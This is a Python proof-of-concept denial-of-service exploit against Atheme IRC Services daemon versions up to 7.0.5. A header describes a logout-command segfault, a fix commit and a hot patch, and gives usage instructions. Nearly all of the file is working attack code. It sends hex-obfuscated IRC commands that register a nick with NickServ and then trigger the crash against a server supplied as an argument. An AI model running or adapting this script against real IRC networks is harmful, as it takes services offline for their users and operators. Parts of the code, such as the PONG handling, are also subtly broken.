#!/usr/bin/python3
###################################################################################
# Monday, January 13, 2013
#
#
#
# _ _ .__ .__
# __| || |_| | ____ ____ |__| ____ ____
# \ __ / | _/ __ \ / ___\| |/ _ \ / \
# | || || |_\ ___// /_/ > ( <_> ) | \
# /_ ~~ _\____/\___ >___ /|__|\____/|___| /
# |_||_| \/_____/ \/
# http://www.zempirians.com
#
# 00100011 01101100 01100101 01100111 01101001 01101111 01101110
#
#
#
# -=[ Atheme - IRC Services Daemon ] =-
#
# [P]roof [o]f [C]oncept, Denial of Service
#
#
#
#
###################################################################################
# # T E A M #
# #######################
#
# O_O .....> Sent To Play All Alone <3
# UberLame .....> For Providing More Sweet, Sweet Cycles
# Aph3x .....> For Being Awesome
# Apetrick .....> For Not Letting Me Play With Him
#
###################################################################################
#
# ~~! SHOUT OUTS !~~
#
# a heyoz Eurydemus
# nikka l1nd BinaryTENSHi
# syk Gatsby
#
# ~~! Special Thanks !~~
#
# Packet Storm Security (www.packetstormsecurity.com) for archiving our
# concepts in order to help secure and educate those who read them.
#
###################################################################################
# SUMMARY #
################
#
# Bug Fix: [12/20/12]: https://github.com/atheme/atheme/commit/1aaa9e8f1d0b0b67b36c2a6318c71beaa7f39194
#
# Improper implementation of the logout command, results in a segfault
# when an unauthenticated user tries to deauth another authenticated user.
#
################
# VULNERABLE #
################
#
# Atheme Services up to 7.0.5 [and with logout.c loaded (by default)]
#
################
# CVE #
################
#
# [ No CVE Has Been Reported ]
#
################
# PATCH #
################
#
# - Proper Fix
# - Update To Current Version From GitHub
#
# - Hot Patch
# - Unload nickserv/logout
# > /quote operserv modunload nickserv/logout
# $ !services.global! Module nickserv/logout unloaded.
# $ -OperServ- Module nickserv/logout unloaded.
#
###################################################################################
# # #
# # H O W - T O #
# # #
# #######################
#
# Provide the Target: Server, Nickname, Password and Optionally the Port, and the
# script will deliver the staged payload...
#
# [!USE/]$ ./<file>.py -t <server> -P <port> -n <nickname> -p <password>
#
###################################################################################
from argparse import ArgumentParser
import socket
# DIRTY HACK TO CONVERT STRINGS TO HEX
def toHex( string_data ):
return ''.join(''.join([ hex( ord( ch ) ) for ch in string_data ]).split( '0x' ))
def deploy( sock, target, port, nick, passwd ):
try:
sock.connect(( target, int( port ) ))
except:
print( "\t[-] Payload Deployment Failed!" )
exit()
sock.send( b'\x4e\x49\x43\x4b\x20\x5f\x7a\x65\x6d\x70\x30\x64\x61\x79\x5f\x0d\x0a' )
sock.send( b'\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45' + \
b'\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x6f\x68\x61\x69\x20\x3c\x33' + \
b'\x0d\x0a' )
while True:
host_data = str( sock.recv(4096).strip() )
if ' 396 ' in host_data:
sock.send( bytes.fromhex( '505249564d5347204e49434b53455256203a4c4f474f555420{}20{}0d0a'.format( \
toHex( nick ), toHex( passwd ) ) ) )
print( '\t[+] Payload Deployed! <3' )
break
sock.send( b'\x51\x55\x49\x54\x0d\x0a' )
return sock.close()
def stage( target, port, nick, passwd ):
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
p_sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
try:
sock.connect(( target, int( port ) ))
except:
print( "[-] Failed To Connect To {}".format( target ) )
exit()
sock.send( bytes.fromhex( '4e49434b20{}0d0a'.format( toHex( nick ) ) ) )
sock.send( b'\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48' + \
b'\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x6f\x68\x61\x69\x20' + \
b'\x3c\x33\x0d\x0a' )
while True:
host_data = str( sock.recv( 8096 ).strip() )
if ' 396 ' in host_data:
sock.send( bytes.fromhex( '505249564d5347204e49434b53455256203a524547495354455220' + \
'{}2064657673407a656d70697269616e732e636f6d0d0a0d0a'.format( toHex( passwd ) ) ) )
sock.send( bytes.fromhex( '505249564d5347204e49434b53455256203a4944454e5449465920{}0d0a'.format( toHex( passwd ) ) ) )
print( '\t[+] Staging Successful, Deploying Payload Against Target {}'.format( target ) )
deploy( p_sock, target, port, nick, passwd )
break
try:
msg = host_data.split()
if msg[0].lower() is 'ping':
sock.send( b"PONG {}\r\n".format( msg[1] ) )
except:
pass
sock.send( b'\x51\x55\x49\x54\x0d\x0a' )
sock.close()
if __name__ == '__main__':
parser = ArgumentParser( description='#legion Atheme IRC Services DoS' )
parser.add_argument( '-t', '--target', dest='target', help='IRCD Server To Connect On' )
parser.add_argument( '-P', '--port', dest='port', default=6667, help='Port To Connect On' )
parser.add_argument( '-n', '--nick', dest='nick', default='zemp0day', help='Nick To Use' )
parser.add_argument( '-p', '--pass', dest='passwd', default='yad0pmez', help='Password To Use' )
args = parser.parse_args()
if args.target is None:
parser.print_help()
exit()
stage( args.target, args.port, args.nick, args.passwd )
